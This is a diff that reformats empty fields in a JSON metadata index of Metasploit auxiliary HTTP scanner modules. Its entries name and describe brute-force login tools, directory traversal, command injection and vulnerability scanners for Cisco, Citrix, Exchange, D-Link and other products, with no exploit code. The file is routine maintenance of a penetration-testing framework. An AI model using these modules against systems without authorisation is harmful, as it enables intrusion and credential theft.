443, @@ -32609,20 +28218,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/chromecast_webserver": { "name": "Chromecast Web Server Scanner", "fullname": "auxiliary/scanner/http/chromecast_webserver", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -32659,20 +28263,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/chromecast_wifi": { "name": "Chromecast Wifi Enumeration", "fullname": "auxiliary/scanner/http/chromecast_wifi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -32709,20 +28308,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cisco_asa_asdm_bruteforce": { "name": "Cisco ASA ASDM Brute-force Login", "fullname": "auxiliary/scanner/http/cisco_asa_asdm_bruteforce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -32766,15 +28360,11 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cisco_asa_clientless_vpn": { "name": "Cisco ASA Clientless SSL VPN (WebVPN) Brute-force Login Utility", @@ -32826,22 +28416,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cisco_device_manager": { "name": "Cisco Device HTTP Device Manager Access", "fullname": "auxiliary/scanner/http/cisco_device_manager", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2000-10-26", "type": "auxiliary", @@ -32880,20 +28464,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cisco_directory_traversal": { "name": "Cisco ASA Directory Traversal", "fullname": "auxiliary/scanner/http/cisco_directory_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-06-06", "type": "auxiliary", @@ -32933,20 +28512,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cisco_firepower_download": { "name": "Cisco Firepower Management Console 6.0 Post Auth Report Download Directory Traversal", "fullname": "auxiliary/scanner/http/cisco_firepower_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-10-10", "type": "auxiliary", @@ -32985,20 +28559,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cisco_firepower_login": { "name": "Cisco Firepower Management Console 6.0 Login", "fullname": "auxiliary/scanner/http/cisco_firepower_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -33006,9 +28575,7 @@ "sinn3r " ], "description": "This module attempts to authenticate to a Cisco Firepower Management console via HTTPS.\n The credentials are also used for SSH, which could allow remote code execution.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -33035,20 +28602,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cisco_ios_auth_bypass": { "name": "Cisco IOS HTTP Unauthorized Administrative Access", "fullname": "auxiliary/scanner/http/cisco_ios_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2001-06-27", "type": "auxiliary", @@ -33088,20 +28650,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cisco_ironport_enum": { "name": "Cisco Ironport Bruteforce Login Utility", "fullname": "auxiliary/scanner/http/cisco_ironport_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -33109,9 +28666,7 @@ "Karn Ganeshen " ], "description": "This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS\n versions, and performs login brute force to identify valid credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -33138,20 +28693,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cisco_nac_manager_traversal": { "name": "Cisco Network Access Manager Directory Traversal Vulnerability", "fullname": "auxiliary/scanner/http/cisco_nac_manager_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -33189,20 +28739,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cisco_ssl_vpn": { "name": "Cisco SSL VPN Bruteforce Login Utility", "fullname": "auxiliary/scanner/http/cisco_ssl_vpn", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -33210,9 +28755,7 @@ "Jonathan Claudius " ], "description": "This module scans for Cisco SSL VPN web login portals and\n performs login brute force to identify valid credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -33239,20 +28782,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cisco_ssl_vpn_priv_esc": { "name": "Cisco ASA SSL VPN Privilege Escalation Vulnerability", "fullname": "auxiliary/scanner/http/cisco_ssl_vpn_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-04-09", "type": "auxiliary", @@ -33292,20 +28830,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/citrix_bleed_cve_2023_4966": { "name": "Citrix ADC (NetScaler) Bleed Scanner", "fullname": "auxiliary/scanner/http/citrix_bleed_cve_2023_4966", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-10-25", "type": "auxiliary", @@ -33345,31 +28878,21 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ], + "Stability": [], + "Reliability": [], + "SideEffects": [], "AKA": [ "Citrix Bleed" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/citrix_dir_traversal": { "name": "Citrix ADC (NetScaler) Directory Traversal Scanner", "fullname": "auxiliary/scanner/http/citrix_dir_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-12-17", "type": "auxiliary", @@ -33417,16 +28940,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/clansphere_traversal": { "name": "ClanSphere 2011.3 Local File Inclusion Vulnerability", "fullname": "auxiliary/scanner/http/clansphere_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-10-23", "type": "auxiliary", @@ -33465,20 +28984,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/cnpilot_r_web_login_loot": { "name": "Cambium cnPilot r200/r201 Login Scanner and Config Dump", "fullname": "auxiliary/scanner/http/cnpilot_r_web_login_loot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -33516,20 +29030,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/coldfusion_locale_traversal": { "name": "ColdFusion Server Check", "fullname": "auxiliary/scanner/http/coldfusion_locale_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -33571,20 +29080,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/coldfusion_version": { "name": "ColdFusion Version Scanner", "fullname": "auxiliary/scanner/http/coldfusion_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -33593,9 +29097,7 @@ "sinn3r " ], "description": "This module attempts identify various flavors of ColdFusion up to version 10\n as well as the underlying OS.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -33622,20 +29124,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/concrete5_member_list": { "name": "Concrete5 Member List Enumeration", "fullname": "auxiliary/scanner/http/concrete5_member_list", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -33674,20 +29171,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/copy_of_file": { "name": "HTTP Copy File Scanner", "fullname": "auxiliary/scanner/http/copy_of_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -33695,9 +29187,7 @@ "et " ], "description": "This module identifies the existence of possible copies\n of a specific file in a given path.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -33724,20 +29214,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/crawler": { "name": "Web Site Crawler", "fullname": "auxiliary/scanner/http/crawler", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -33746,9 +29231,7 @@ "tasos" ], "description": "Crawl a web site and store information about what was found", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -33775,20 +29258,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/dell_idrac": { "name": "Dell iDRAC Default Login", "fullname": "auxiliary/scanner/http/dell_idrac", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -33826,20 +29304,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/dicoogle_traversal": { "name": "Dicoogle PACS Web Server Directory Traversal", "fullname": "auxiliary/scanner/http/dicoogle_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-07-11", "type": "auxiliary", @@ -33877,20 +29350,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/dir_listing": { "name": "HTTP Directory Listing Scanner", "fullname": "auxiliary/scanner/http/dir_listing", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -33898,9 +29366,7 @@ "et " ], "description": "This module identifies directory listing vulnerabilities\n in a given directory path.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -33927,20 +29393,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/dir_scanner": { "name": "HTTP Directory Scanner", "fullname": "auxiliary/scanner/http/dir_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -33948,9 +29409,7 @@ "et " ], "description": "This module identifies the existence of interesting directories\n in a given directory path.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -33977,20 +29436,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/dir_webdav_unicode_bypass": { "name": "MS09-020 IIS6 WebDAV Unicode Auth Bypass Directory Scanner", "fullname": "auxiliary/scanner/http/dir_webdav_unicode_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -34031,20 +29485,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/directadmin_login": { "name": "DirectAdmin Web Control Panel Login Utility", "fullname": "auxiliary/scanner/http/directadmin_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -34052,9 +29501,7 @@ "Nick Marcoccio \"1oopho1e\" " ], "description": "This module will attempt to authenticate to a DirectAdmin Web Control Panel.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 2222, @@ -34081,20 +29528,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/dlink_dir_300_615_http_login": { "name": "D-Link DIR-300A / DIR-320 / DIR-615D HTTP Login Utility", "fullname": "auxiliary/scanner/http/dlink_dir_300_615_http_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -34132,20 +29574,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/dlink_dir_615h_http_login": { "name": "D-Link DIR-615H HTTP Login Utility", "fullname": "auxiliary/scanner/http/dlink_dir_615h_http_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -34183,20 +29620,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/dlink_dir_session_cgi_http_login": { "name": "D-Link DIR-300B / DIR-600B / DIR-815 / DIR-645 HTTP Login Utility", "fullname": "auxiliary/scanner/http/dlink_dir_session_cgi_http_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -34234,20 +29666,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/dlink_user_agent_backdoor": { "name": "D-Link User-Agent Backdoor Scanner", "fullname": "auxiliary/scanner/http/dlink_user_agent_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-12", "type": "auxiliary", @@ -34286,20 +29713,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/dnalims_file_retrieve": { "name": "DnaLIMS Directory Traversal", "fullname": "auxiliary/scanner/http/dnalims_file_retrieve", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-08", "type": "auxiliary", @@ -34339,20 +29761,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/docker_version": { "name": "Docker Server Version Scanner", "fullname": "auxiliary/scanner/http/docker_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -34360,9 +29777,7 @@ "Agora-Security" ], "description": "This module attempts to identify the version of a Docker Server running on a\n host. If you wish to see all the information available, set VERBOSE to true.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 2375, @@ -34389,20 +29804,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/dolibarr_16_contact_dump": { "name": "Dolibarr 16 pre-auth contact database dump", "fullname": "auxiliary/scanner/http/dolibarr_16_contact_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-03-14", "type": "auxiliary", @@ -34447,25 +29857,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/dolibarr_login": { "name": "Dolibarr ERP/CRM Login Utility", "fullname": "auxiliary/scanner/http/dolibarr_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -34473,9 +29877,7 @@ "sinn3r " ], "description": "This module attempts to authenticate to a Dolibarr ERP/CRM's admin web interface,\n and should only work against version 3.1.1 or older, because these versions do not\n have any default protections against brute forcing.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -34502,20 +29904,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/drupal_views_user_enum": { "name": "Drupal Views Module Users Enumeration", "fullname": "auxiliary/scanner/http/drupal_views_user_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-07-02", "type": "auxiliary", @@ -34555,20 +29952,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/ektron_cms400net": { "name": "Ektron CMS400.NET Default Password Scanner", "fullname": "auxiliary/scanner/http/ektron_cms400net", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -34576,9 +29968,7 @@ "Justin Cacak" ], "description": "Ektron CMS400.NET is a web content management system based on .NET.\n This module tests for installations that are utilizing default\n passwords set by the vendor. Additionally, it has the ability\n to brute force user accounts. Note that Ektron CMS400.NET, by\n default, enforces account lockouts for regular user account\n after a number of failed attempts.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -34605,20 +29995,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/elasticsearch_memory_disclosure": { "name": "Elasticsearch Memory Disclosure", "fullname": "auxiliary/scanner/http/elasticsearch_memory_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-07-21", "type": "auxiliary", @@ -34663,12 +30048,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, @@ -34686,9 +30067,7 @@ "auxiliary_scanner/http/elasticsearch_traversal": { "name": "ElasticSearch Snapshot API Directory Traversal", "fullname": "auxiliary/scanner/http/elasticsearch_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -34728,20 +30107,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/emby_ssrf_scanner": { "name": "Emby SSRF HTTP Scanner", "fullname": "auxiliary/scanner/http/emby_ssrf_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -34780,31 +30154,21 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "Stability": [], + "SideEffects": [], + "Reliability": [], "RelatedModules": [ "auxiliary/scanner/http/emby_version_ssrf" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/emby_version_ssrf": { "name": "Emby Version Scanner", "fullname": "auxiliary/scanner/http/emby_version_ssrf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -34843,31 +30207,21 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "Stability": [], + "SideEffects": [], + "Reliability": [], "RelatedModules": [ "auxiliary/scanner/http/emby_ssrf_scanner" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/enum_wayback": { "name": "Archive.org Stored Domain URLs", "fullname": "auxiliary/scanner/http/enum_wayback", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -34875,18 +30229,12 @@ "mubix " ], "description": "This module pulls and parses the URLs stored by Archive.org for the purpose of\n replaying during a web assessment. Finding unlinked and old pages.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-11-10 10:05:45 +0000", "path": "/modules/auxiliary/scanner/http/enum_wayback.rb", @@ -34895,20 +30243,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/epmp1000_dump_config": { "name": "Cambium ePMP 1000 Dump Device Config", "fullname": "auxiliary/scanner/http/epmp1000_dump_config", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -34945,20 +30288,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/epmp1000_dump_hashes": { "name": "Cambium ePMP 1000 'ping' Password Hash Extractor (up to v2.5)", "fullname": "auxiliary/scanner/http/epmp1000_dump_hashes", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -34996,20 +30334,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/epmp1000_get_chart_cmd_exec": { "name": "Cambium ePMP 1000 'get_chart' Command Injection (v3.1-3.5-RC7)", "fullname": "auxiliary/scanner/http/epmp1000_get_chart_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35047,20 +30380,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/epmp1000_ping_cmd_exec": { "name": "Cambium ePMP 1000 'ping' Command Injection (up to v2.5)", "fullname": "auxiliary/scanner/http/epmp1000_ping_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35098,20 +30426,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/epmp1000_reset_pass": { "name": "Cambium ePMP 1000 Account Password Reset", "fullname": "auxiliary/scanner/http/epmp1000_reset_pass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35149,20 +30472,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/epmp1000_web_login": { "name": "Cambium ePMP 1000 Login Scanner", "fullname": "auxiliary/scanner/http/epmp1000_web_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35199,20 +30517,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/error_sql_injection": { "name": "HTTP Error Based SQL Injection Scanner", "fullname": "auxiliary/scanner/http/error_sql_injection", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35220,9 +30533,7 @@ "et " ], "description": "This module identifies the existence of Error Based SQL injection issues. Still requires a lot of work", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -35249,20 +30560,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/es_file_explorer_open_port": { "name": "ES File Explorer Open Port", "fullname": "auxiliary/scanner/http/es_file_explorer_open_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-01-16", "type": "auxiliary", @@ -35305,8 +30611,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -35363,9 +30668,7 @@ "auxiliary_scanner/http/etherpad_duo_login": { "name": "EtherPAD Duo Login Bruteforce Utility", "fullname": "auxiliary/scanner/http/etherpad_duo_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35373,9 +30676,7 @@ "Karn Ganeshen " ], "description": "This module scans for EtherPAD Duo login portal, and\n performs a login bruteforce attack to identify valid credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -35402,20 +30703,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/exchange_proxylogon": { "name": "Microsoft Exchange ProxyLogon Scanner", "fullname": "auxiliary/scanner/http/exchange_proxylogon", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-03-02", "type": "auxiliary", @@ -35463,25 +30759,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/exchange_web_server_pushsubscription": { "name": "Microsoft Exchange Privilege Escalation Exploit", "fullname": "auxiliary/scanner/http/exchange_web_server_pushsubscription", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-01-21", "type": "auxiliary", @@ -35520,20 +30810,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/f5_bigip_virtual_server": { "name": "F5 BigIP HTTP Virtual Server Scanner", "fullname": "auxiliary/scanner/http/f5_bigip_virtual_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35572,20 +30857,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/f5_mgmt_scanner": { "name": "F5 Networks Devices Management Interface Scanner", "fullname": "auxiliary/scanner/http/f5_mgmt_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35595,9 +30875,7 @@ "Nikita Oleksov " ], "description": "This module attempts to identify the web management interfaces of the following\n F5 Networks devices:\n BigIP, BigIQ, Enterprise Manager, ARX, and FirePass.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -35624,20 +30902,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/file_same_name_dir": { "name": "HTTP File Same Name Directory Scanner", "fullname": "auxiliary/scanner/http/file_same_name_dir", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -35645,9 +30918,7 @@ "et " ], "description": "This module identifies the existence of files\n in a given directory path named as the same name of the\n directory.\n\n Only works if PATH is different than '/'.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -35674,20 +30945,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, 